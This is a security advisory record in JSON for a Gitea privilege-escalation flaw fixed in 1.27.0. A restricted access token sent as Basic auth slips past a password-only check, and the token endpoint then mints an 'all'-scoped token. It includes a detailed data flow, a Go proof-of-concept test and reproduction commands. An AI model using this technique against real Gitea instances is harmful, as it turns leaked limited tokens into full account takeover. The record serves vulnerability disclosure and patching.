{"id":"GHSA-683j-3ff6-hh2x","summary":"Gitea: Privilege Escalation via Access Token Scope Escalation in API","details":"Gitea's API endpoint for creating Personal Access Tokens (`POST /users/{username}/tokens`) is protected by a middleware (`reqBasicOrRevProxyAuth`) that is intended to require password-based authentication, preventing a compromised token from being used to mint new ones. However, when a token is passed in the `Authorization: Basic \u003ctoken\u003e:x-oauth-basic` format, the Basic auth handler validates it and sets `AuthedMethod=\"basic\"`, causing `IsBasicAuth=true` and fooling the middleware into passing the request. Once past the guard, the token creation handler applies no scope ceiling — it will create a new token with any requested scope regardless of the caller's scope. An attacker with a restricted token (e.g. `write:user` from a leaked CI secret) can therefore create a fully-privileged `all`-scoped token without knowing the account password.\n\n### Data flow\n\n#### Step 1 - Token extracted from Basic auth header\n  \nWhen the attacker sends Authorization: Basic base64(\u003ctoken\u003e:x-oauth-basic), parseAuthBasic detects that the password is \"x-oauth-basic\" and treats the username field as the token:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L55-L64\n\n`VerifyAuthToken` then validates the token against the database and sets `LoginMethod = \"access_token\"` and `ApiTokenScope` to the token's actual scope (`write:user`):\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/basic.go#L100-L106\n\n#### Step 2 - `AuthedMethod` is set to `\"basic\"`, not `\"access_token\"`\n\n`Basic.Verify()` returns the user successfully, so `group.Verify()` sets `AuthedMethod` to the method's name — `\"basic\"` — regardless of whether a password or token was used:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/services/auth/group.go#L63-L65\n\n#### Step 3 - `IsBasicAuth` is incorrectly set to true\n\n`AuthShared` computes `IsBasicAuth` by comparing `AuthedMethod` against the constant `\"basic\"`. Since step 2 set that field to \"basic\" for a token-authenticated request, the flag is wrong:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/common/auth.go#L27\n\n#### Step 4 - The guard is bypassed\n\n`reqBasicOrRevProxyAuth` checks only `ctx.IsBasicAuth`. Because that flag is `true`, the middleware passes and the request reaches `CreateAccessToken`:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/api.go#L392-L401\n\n#### Step 5 - No scope ceiling in the handler\n\n`CreateAccessToken` normalizes the caller-supplied scope and assigns it directly to the new token. There is no check that the requested scope is a subset of `ApiTokenScope (write:user)`:\n\nhttps://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/routers/api/v1/user/app.go#L119-L128\n\n### Reproducing\n\n`tests/integration/api_token_scope_escalation_test.go`\n```go\npackage integration\n\nimport (\n\t\"net/http\"\n\t\"testing\"\n\n\tauth_model \"gitea.dev/models/auth\"\n\t\"gitea.dev/models/unittest\"\n\tuser_model \"gitea.dev/models/user\"\n\tapi \"gitea.dev/modules/structs\"\n\t\"gitea.dev/tests\"\n\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\n// TestAPIPrivilegeEscalationViaBasicAuthToken is a proof-of-concept for two\n// interconnected vulnerabilities that together allow full scope escalation:\n//\n//  1. reqBasicOrRevProxyAuth() is fooled into passing when a PAT is supplied in\n//     the Authorization: Basic \"\u003ctoken\u003e:x-oauth-basic\" format. The Basic auth\n//     handler sets AuthedMethod=\"basic\" (the method name), so IsBasicAuth=true\n//     even though the credential is a token, not a password.\n//\n//  2. CreateAccessToken performs no scope-ceiling check — it never verifies that\n//     the requested scopes are a subset of the caller's token scopes.\n//\n// Combined effect: an attacker with a write:user-scoped token can create a new\n// token with the \"all\" scope, gaining full access to the account.\nfunc TestAPIPrivilegeEscalationViaBasicAuthToken(t *testing.T) {\n\tdefer tests.PrepareTestEnv(t)()\n\n\t// Non-admin user — escalation is meaningful and not trivially justified.\n\tuser := unittest.AssertExistsAndLoadBean(t, &user_model.User{ID: 2})\n\n\t// Step 1 — Obtain a legitimately restricted token via password-based Basic auth.\n\t// Only write:user scope is granted; repository, admin, etc. are excluded.\n\trestrictedToken := createAPIAccessTokenWithoutCleanUp(t, \"poc-restricted\", user,\n\t\t[]auth_model.AccessTokenScope{auth_model.AccessTokenScopeWriteUser})\n\tdefer deleteAPIAccessToken(t, restrictedToken, user)\n\n\t// Confirm the restricted token is blocked from repository-scoped endpoints.\n\t// This establishes the baseline: write:user does not imply read:repository.\n\treq := NewRequest(t, \"GET\", \"/api/v1/repos/search\").\n\t\tAddTokenAuth(restrictedToken.Token)\n\tMakeRequest(t, req, http.StatusForbidden)\n\n\t// Step 2 — Exploit: supply the restricted token as Basic auth credentials.\n\t// Authorization: Basic base64(\"\u003ctoken\u003e:x-oauth-basic\")\n\t//\n\t// Basic.Verify() validates the token and returns the user. group.Verify() then\n\t// sets AuthedMethod=\"basic\" (the method name). auth.go maps that to\n\t// IsBasicAuth=true, satisfying reqBasicOrRevProxyAuth() even though no\n\t// password was provided. CreateAccessToken then creates the token with the\n\t// requested \"all\" scope without checking whether it exceeds the caller's scope.\n\tpayload := map[string]any{\n\t\t\"name\":   \"poc-escalated\",\n\t\t\"scopes\": []string{\"all\"},\n\t}\n\treq = NewRequestWithJSON(t, \"POST\", \"/api/v1/users/\"+user.LoginName+\"/tokens\", payload)\n\treq.SetBasicAuth(restrictedToken.Token, \"x-oauth-basic\")\n\n\t// This should be 403 (scope ceiling not enforced and IsBasicAuth check bypassed)\n\t// but is currently 201, confirming the vulnerability.\n\tresp := MakeRequest(t, req, http.StatusCreated)\n\n\tescalatedToken := DecodeJSON(t, resp, &api.AccessToken{})\n\trequire.NotNil(t, escalatedToken)\n\tdefer deleteAPIAccessToken(t, *escalatedToken, user)\n\n\t// Step 3 — The escalated token carries the \"all\" scope.\n\tassert.Contains(t, escalatedToken.Scopes, \"all\",\n\t\t\"escalated token scope must be 'all'; original token only had write:user\")\n\n\t// Step 4 — The escalated token can now reach endpoints blocked to the original\n\t// token, confirming real privilege gain beyond write:user.\n\treq = NewRequest(t, \"GET\", \"/api/v1/repos/search\").\n\t\tAddTokenAuth(escalatedToken.Token)\n\tMakeRequest(t, req, http.StatusOK)\n}\n```\n\n```bash\ngit clone https://github.com/go-gitea/gitea\ncd gitea\ngit checkout 9155a81b9daf1d46b2380aa91271e623ac947c1e\n\n# Place the unit test above at `tests/integration/api_token_scope_escalation_test.go`.\n\ngo test -run '^TestAPIPrivilegeEscalationViaBasicAuthToken$' ./tests/integration/\n```\n\nA passing result confirms the vulnerability. The test output will show the two critical lines: the exploit POST returning 201 Created and the follow-up GET /api/v1/repos/search returning 200 OK with the escalated token.","aliases":["CVE-2026-56654","GO-2026-6034"],"modified":"2026-07-22T21:11:33.269270482Z","published":"2026-07-21T20:24:25Z","database_specific":{"cwe_ids":["CWE-287"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-07-21T20:24:25Z","nvd_published_at":null},"references":[{"type":"WEB","url":"https://github.com/go-gitea/gitea/security/advisories/GHSA-683j-3ff6-hh2x"},{"type":"WEB","url":"https://github.com/go-gitea/gitea/pull/38406"},{"type":"WEB","url":"https://github.com/go-gitea/gitea/pull/38426"},{"type":"WEB","url":"https://github.com/go-gitea/gitea/commit/de4b8277e9cb576f2315fb03b5ab6478b42a1d31"},{"type":"WEB","url":"https://github.com/go-gitea/gitea/commit/f69e15afe7496cc62e96dab244629c69eb31a7bf"},{"type":"PACKAGE","url":"https://github.com/go-gitea/gitea"},{"type":"WEB","url":"https://github.com/go-gitea/gitea/releases/tag/v1.27.0"}],"affected":[{"package":{"name":"code.gitea.io/gitea","ecosystem":"Go","purl":"pkg:golang/code.gitea.io/gitea"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"1.27.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-683j-3ff6-hh2x/GHSA-683j-3ff6-hh2x.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]}